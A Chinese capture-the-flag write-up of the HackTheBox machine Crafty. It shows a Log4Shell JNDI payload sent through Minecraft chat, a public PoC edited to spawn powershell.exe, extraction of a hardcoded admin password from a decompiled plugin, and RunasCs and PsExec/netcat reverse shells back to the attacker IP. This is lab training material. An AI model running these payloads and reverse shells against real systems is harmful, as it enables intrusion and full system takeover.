HTB Crafty - Log4Shell利用链,Java逆向提权,内网高级提权

  本文基于红队大佬的视频,由于本人懒得弄代理了,就直接跟着红队的视频一步步走了,不免有些磕磕绊绊,我已记录的尽可能详尽,希望读者能够学习思路并且进行思考。

视频链接:

「红队笔记」靶机精讲:HTB Crafty - 史诗级漏洞Log4Shell利用链全角度分析,Java逆向提权以及内网高级提权,细节加强版,新手友好。-红队笔记-红队笔记-哔哩哔哩视频

一.  扫描枚举和爆破

nmap扫描

攻击机ip:10.10.16.17

linux kali 网卡是tun0,之后的tshark中要指定

靶机ip:10.129.25.171

windows操作系统,使用了vpn故而延迟较低,否则延迟能过300ms

sudo nmap -sT --min-rate 10000 -p- 10.129.25.171

发现80和25565端口开放

sudo nmap -sT -sV -sC -p80.25565 10.129.25.171

-sC:使用默认Nmap脚本检测漏洞。

对80端口:

服务标识:Microsoft IIS httpd 10.0 IIS 10.0:对应 Windows Server 2016/2019

关键发现:未跟随重定向 redirect-->重定向

http-title: Did not follow redirect to http://crafty.htb

说明直接访问IP会返回302重定向到域名crafty.htb,需本地绑定域名才能完整测试。

sudo sed -i '1i 10.129.25.171 crafty.htb' /etc/hosts

  • sed:流编辑器(Stream Editor),用于文本转换
  • -i:直接修改文件(in-place edit),不创建备份

'1i 10.129.25.171 crafty.htb'

  • 1:第一行
  • i:插入(insert)操作
  • 10.129.25.171 crafty.htb:要插入的内容
  • /etc/hosts:目标文件路径

这样便进行了域名绑定,如下图

head -n1 /etc/hosts

  • head:显示文件开头内容的命令
  • -n1:只显示第一行

对25565端口:

游戏服务版本:minecraft 1.16.5

服务器名称:Crafty Server(可能为自定义服务端)。

当前用户数:0/100(当前无玩家在线)。

sudo nmap --script=vuln -p80,25565 10.129.25.171 并没有暴露出什么漏洞

二.  80端口的渗透

访问域名:crafty.htb

点击三个图片,但都没有什么特殊的跳转

发现下面又有一个新的域名,我们再次本地绑定域名后访问一下

但访问后发现,这个play.crafty.htb和crafty.htb访问的是同一个页面

查看一下网页源码,也没找到什么可以利用的东西

那我们就爆破一下目录,寻找未发现的文件和隐藏目录

feroxbuster -u http://crafty.htb -w /usr/share/seclists/Discovery/Web-content/directory-list-lowercase-2.3-medium.txt

  • 字典路径
    /usr/share/seclists/Discovery/Web-content/directory-list-lowercase-2.3-medium.txt
    • 来源seclists 是 Kali Linux 预装的常用安全测试字典集合。
    • 特点
      • 全小写字母(lowercase(因为在这里考虑是windows的iis服务,所以直接用小写)
      • 包含约 220,000 条常见 Web 路径(medium 规模)
      • 适用于发现后台、API 端点、配置文件等。
  • 典型字典内容示例:admin , login , backup , wp-admin , config.php

需要一段时间才能扫描出来

那我们在这段时间内思考一下,既然play.crafty.htb和crafty.htb访问的是同一个页面,那会不会还有没发现的其他子域名呢?

gobuster vhost -u http://10.129.25.171 --domain crafty.htb -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-11000.txt --append-domain -r

命令分析如下:

gobuster vhost

使用 Gobuster 的虚拟主机扫描模式

-u http://10.129.25.171

指定目标基础 URL

--domain crafty.htb

设置主域名(用于拼接子域名)

-w <字典路径>

指定子域名爆破字典文件

--append-domain

将字典内容附加到主域名后(如 apiapi.crafty.htb

-r

遵循重定向(自动跳转时继续扫描)

插曲:其实这里若是53端口开放,可以将vhost替换为DNS

vhost是通过主机头的方式来探测,通过web数据包中的主机头,看主机头能不能响应,根据状态码来一一枚举字典中的词条

dns是通过dns服务器直接探测,包括区域传输,枚举等等

三.  对25565端口的渗透

访问下25565,出现报错

我们用curl看一下 第一次显示需要http0.9我们给加上,第二次显示正常,我们加-L看看有没有重定向,显示结果相同,并没有重定向。

curl --http0.9 -L http://craty.htb:25565

-L(跟随重定向)

  • 作用
    若服务器返回 301302 状态码,cURL 会自动跳转到新 URL。

由于gobuster还在扫描,我们尝试一下tshark查看流量包获取更多信息

tshark -i tun0 -f 'port 25565' -w crafty.htb

tshark

Wireshark 的命令行抓包工具(轻量级)

-i tun0

指定监听的网络接口(tun0 通常为 VPN 隧道接口)

-f 'port 25565'

设置捕获过滤器(BPF 语法),仅抓取 25565 端口的流量

-w crafty.htb

将抓包数据保存到文件 crafty.htb(默认格式:pcapng)

这里文件名写错了,应该是crafty.pcap,我们重命名一下,不然打不开

mv crafty.htb crafty.pacp

tshark -r crafty.pcap -x

查看具体的包,发现fe 01结尾的数据包之后的那个数据包很像nmap的扫描结果

那我们用nc交互一下确认结果

直接交互没有结果,我们指定参数fe 01

echo -ne '\xfe\x01' | nc crafty.htb 25565

echo -ne '\xfe\x01' 输出十六进制字节 FE 01(-n 不换行,-e 启用转义)

nc crafty.htb 25565 使用 netcat 连接 crafty.htb 的 25565 端口

这些信息我们之前就获得过,所以没有什么更有价值的信息了

这时候gobuster也快扫描完了,我们瞄一眼,发现有很多这样格式的域名

其实这些像乱码一样的域名是:punycode

比如输入:www.由比滨结衣.com 同样会出现这种域名,这就证明了上面的子域名爆破中含有很多中文的子域名,但全部4xx,没有价值

把gobuster结果全看完,发现每一个200状态码的,全部扑街。

我们用自带的searchsploit扫一下minecraft,只有一个提权,但我们立足点都没有,提什么权呢

发现没有下手的地方,我们只能发动社会工程学,网上查找minecraft具体的1.16.5版本有什么漏洞

不约而同的指向log4jshell,那我们走走这条道

四.  log4shell原理

这里就不详细赘述了,网上很多资料,其实就是一个在请求中注入恶意payload的原理

衍生出了一些漏洞

五.  log4shell利用

利用方法wiki上写的很明确,先进游戏,然后聊天框输入信息,也即我们构造的payload

官方正版要收费的,我们在渗透过程中最好不要留下付费信息,以免留下把柄

(不是哥们买不起┭┮﹏┭┮)

我们用社区客户端tlauncher试试,tlauncher.org/en/选择linux下载

我们解压加载器

sudo java -jar

接下来就是简单的启动,选版本,打开游戏

因为是服务器嘛,所以选择多人游戏

服务器信息盲猜是之前的两个域名中的一个

play.crafty.htb成功了,但是一直在搜索,那我们就暴力一点,直接连接

但凡玩过我的世界都知道按t输入命令,不过在此之前我们需要在本地先开启一个监听

sudo rlwrap -cAr nc -lvnp 389

rlwrap为了获得shell之后能够灵活的操作目录

rlwrap -cAr

nc 提供命令行编辑和历史记录功能

nc -lvnp 389

启动 netcat 监听本地 389 端口(LDAP 默认端口)

rlwrap 包装器

  • 功能:为原始命令行工具(如 nc)添加以下特性:
    • 行编辑:支持方向键移动光标、退格修改。
    • 历史记录:保存输入命令,可通过 / 调用。
    • 自动补全-c):按 Tab 补全路径/命令。
    • 彩色提示-A):高亮显示输入输出。
    • 保留历史-r):即使程序崩溃也不丢失记录。

我们先看一下这个漏洞是否存在,监听有反应,就证明漏洞存在了

${jndi:ldap://10.10.16.17/a} 输入到mc的聊天框中

有反应,证明漏洞可以利用

我们在github上搜一搜利用log4shell攻击的库

https://github.com/kozmer/log4j-shell-poc.git(挂梯子打开哦)

尝试着利用一下,先下载下来

有运行需求,先执行一下吧

回头看一看github上要怎么使用

说的很明白,我们跟着做就行

我们先启动443端口的监听

sudo rlwrap -cAr nc -lvnp 443

然后输入命令

python3 poc.py --userip 10.10.16.17--webport 8000 --lport 443

出现报错,缺少jdk1.8.0_20,那我们去下载

(其实学习中很多事情步骤都很清晰,但像这种巧妇难为无米之炊的情况,会很浪费你的精力,因为你不知道“明明我就跟着步骤走的哇,怎么一会缺这个文件一会缺那个文件”,所以学习最好还是有人带着一步步走,少踩坑,提升效率,当然当代大学肯一步步带着你走的老师算少数了,大部分就是给你个指导书自己摸索……)

readme上提示下载地址,但进入oracle后下载jdk1.8.0_20需要注册,很麻烦,我们最好在网上搜一搜有没有共享账号

下载下来解压

再次然后输入命令

python3 poc.py --userip 10.10.16.17--webport 8000 --lport 443

这次成功了,还产生了payload

我们将payload输入到mc聊天框中,却发现监听窗口没有反应!!!!

我们打开poc.py看看里面到底怎么写的

发现了端倪,我们靶机是windows,所以要将这里的/bin/sh改成powershell.exe

再次重新执行(注意要退出重进一下,端口最好也重新监听)

python3 poc.py --userip 10.10.16.17--webport 8000 --lport 443

我们看到已经拿到了powershell.exe,接下来就是提权了!

我们找一下当前用户的flag(毕竟是靶机嘛,拿到flag就代表你成功了)

gci-r c:\users\ *.txt -ea0

参数/组件

作用

等价完整参数

gci

Get-ChildItem 的别名,用于列出文件和目录

Get-ChildItem

-r

递归搜索子目录

-Recurse

c:/users/

目标目录路径(C:\Users\

-

*.txt

文件扩展名过滤器(匹配所有 .txt 文件)

-

-ea 0

忽略所有错误(静默模式)

-ErrorAction SilentlyContinue

成功拿下当前用户的flag!!!

六.  尝试提权到administrator

查看系统信息

由于有web服务,我们去c盘下的inetpub看看文件,其中web.config是我们感兴趣的

打开看看,发现做了很多重定向的设置,这也对应前面我们80端口渗透的内容,但没有其他实质性的有价值的信息

搜索一下其他关键字

还是没有内容

history里面全是我们刚才输入的命令

尝试进入管理员目录搜东西也被拒绝了

svc_minecraft里面也没有很有价值的

我们翻翻找找,感觉也就plugins文件夹里面的一个.jarserver.jar里面可能有攻击面,回到kali下载下来

impacket-smbserver RedteamNotes ./ -smb2support -username redpen -password RedteamNt3s

impacket-smbserver

Impacket工具集中的SMB服务器模块

RedteamNotes

共享名称(客户端访问时显示的共享名)

./

共享的本地目录路径(当前目录)

-smb2support

启用SMB2协议支持(兼容现代Windows系统)

-username redpen

设置认证用户名(redpen

-password RedteamNt3s

设置认证密码(RedteamNt3s

插叙SMB2:

SMB(Server Message Block) 是一种网络文件共享协议,主要用于Windows系统间的文件和打印机共享。

SMB2 是第二代协议(2006年随Windows Vista推出),相比SMB1(旧版)有以下核心改进:

特性

SMB1(已淘汰)

SMB2(现代标准)

协议效率

多命令交互,高延迟

复合请求,减少往返次数

安全性

依赖NTLM,易受攻击(如永恒之蓝)

支持AES加密和Kerberos认证

兼容性

支持老旧系统(XP/2003)

需Windows Vista或更高版本

默认状态

默认禁用(因安全问题)

现代系统默认启用

net use \\10.10.16.17\RedteamNotes /user:redpen RedteamN0t3s

net use

Windows 网络共享连接管理命令

\\10.10.16.17\RedteamNotes

目标共享路径(IP+共享名)

/user:redpen

指定用户名(redpen

RedteamN0t3s

用户密码(区分大小写)

copy-item ./server.jar \\10.10.16.17\RedteamNotes\server.jar

Copy-Item

PowerShell 文件复制命令

./server.jar

源文件路径(当前目录下的 server.jar

\\10.10.16.17\RedteamNotes\server.jar

目标路径(远程SMB共享中的文件)

同理下载另一个文件

可以看到已经下载完成

断开net use 清理痕迹

net use \\10.10.16.17\RedteamNotes /delete

接下来我们查看下载下来的文件有没有敏感信息

我们要读取,就需要进行java反编译(也就是逆向,提前做好逆向的代码很怪的心理准备),我们用工具jd-gui(kali不自带,需要下载)

server.jar没啥信息,一般开发也不会把重要敏感信息直接放在这里面

我们看另一个插件.jar,发现password字样

在另一个类中发现一段疑似密码的字样,运维开发人员喜欢密码复用,我们看看这次能不能拿这个字符串去登录一些东西

查看一下用户信息,发现共有6个用户,有登录记录的有三个用户

一般能进行系统登录的无非是RDP远程桌面,WinRM5985, WinRM5986,SMB这些

那现在就尝试在当前用户状态下,能不能开通这些服务,最常见的WinRM5985试一下

enable-psremoting -force

WinRM5985 失败,需要admin权限

那我们思考一下,假如我们的密码是有效的,那肯定要有输入密码的地方吧,也就是显式的登录(明确指明用户名,然后输入密码)

我们尝试一下powershell里面的显式登录

runas /user:administrator powershell

runas

Windows 提权工具,允许以其他用户身份运行程序

/user:administrator

指定目标用户(此处为管理员账户 administrator

powershell

要运行的应用程序(此处启动 PowerShell)

没有给我们输入密码的机会就直接显示下文了,这在渗透过程中是很常见的,我们用工具解决这个问题--runascs

这个工具我们在github上下载,解压,然后从kali中传到靶机上

sudo php -S 0:80

programdata是所有用户都有权访问的文件夹,方便一些,我们在这里面创建新文件夹

名称不变的下载下来

iwr http://10.10.16.17/RunasCs.exe -outfile RunasCs.exe

gci查看一下,已经下载下来了

./runascs.exe administrator 's67u84zKq8IXw' powshell -r 10.10.16.17:443 -t 0

./runascs.exe

自定义提权工具

administrator

目标用户名(尝试以管理员权限运行)

's67u84zKq8IXw'

密码(明文形式,存在安全风险)

powershell

要启动的程序(PowerShell)

-r 10.10.16.17:443

反向Shell参数(连接攻击者的IP和端口)

-t 0

超时设置(0表示无超时)

在我们监听的443端口已经返回了新的shell,不出意外,是管理员的权限

看到了root.txt,这应该就是另一个flag

拿下!!!

七.尝试获取最高权限system

system是windows本地系统账号,拥有最高权限,可以访问操作系统中的所有资源,包括系统文件,注册表,进程等等

很多操作系统的服务和进程都是以system账户来运行的

这个账号不需要密码,但也不是随便以普通的登录方式登录上去的

administrator会受到本地策略的限制,所以system是我们的最终提权目标

我们使用psexec这个微软自己的运维工具

下载的是一套工具包,我们只选用psexec64位的版本

传到靶机里面

查看一下帮助

为了提权到system还需要netcat,我们也下载到靶机上

再传到靶机上

工具已经全部就绪

开启端口监听shell

在administrator用户下执行命令(别用最开始获得的shell,提权是一步步的,哪有这么容易跳步)

./psexec64.exe -accepteula -i -s cmd.exe /c "c:\programdata\apps\nc64.exe 10.10.16.17 443 -e powershell.exe"

psexec64.exe

Sysinternals 工具包中的远程执行工具(64位版本)

-accepteula

自动接受最终用户许可协议(避免交互式提示)

-i

以交互式模式运行(显示用户界面)

-s

SYSTEM 权限执行(最高权限)

cmd.exe /c

启动 cmd.exe 并执行后续命令后退出

"c:\programdata\apps\nc64.exe 10.10.16.17 443 -e powershell.exe"

通过 nc64.exe 建立反向 Shell 连接到 10.10.16.17:443,并绑定 powershell.exe

成功拿到了nt authority\system 用户

到此全部结束!!!完结撒花!!!

我自己跟着视频走,边学边查边操作边记录花了6小时,只能说红队大佬nb好伐!!!

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值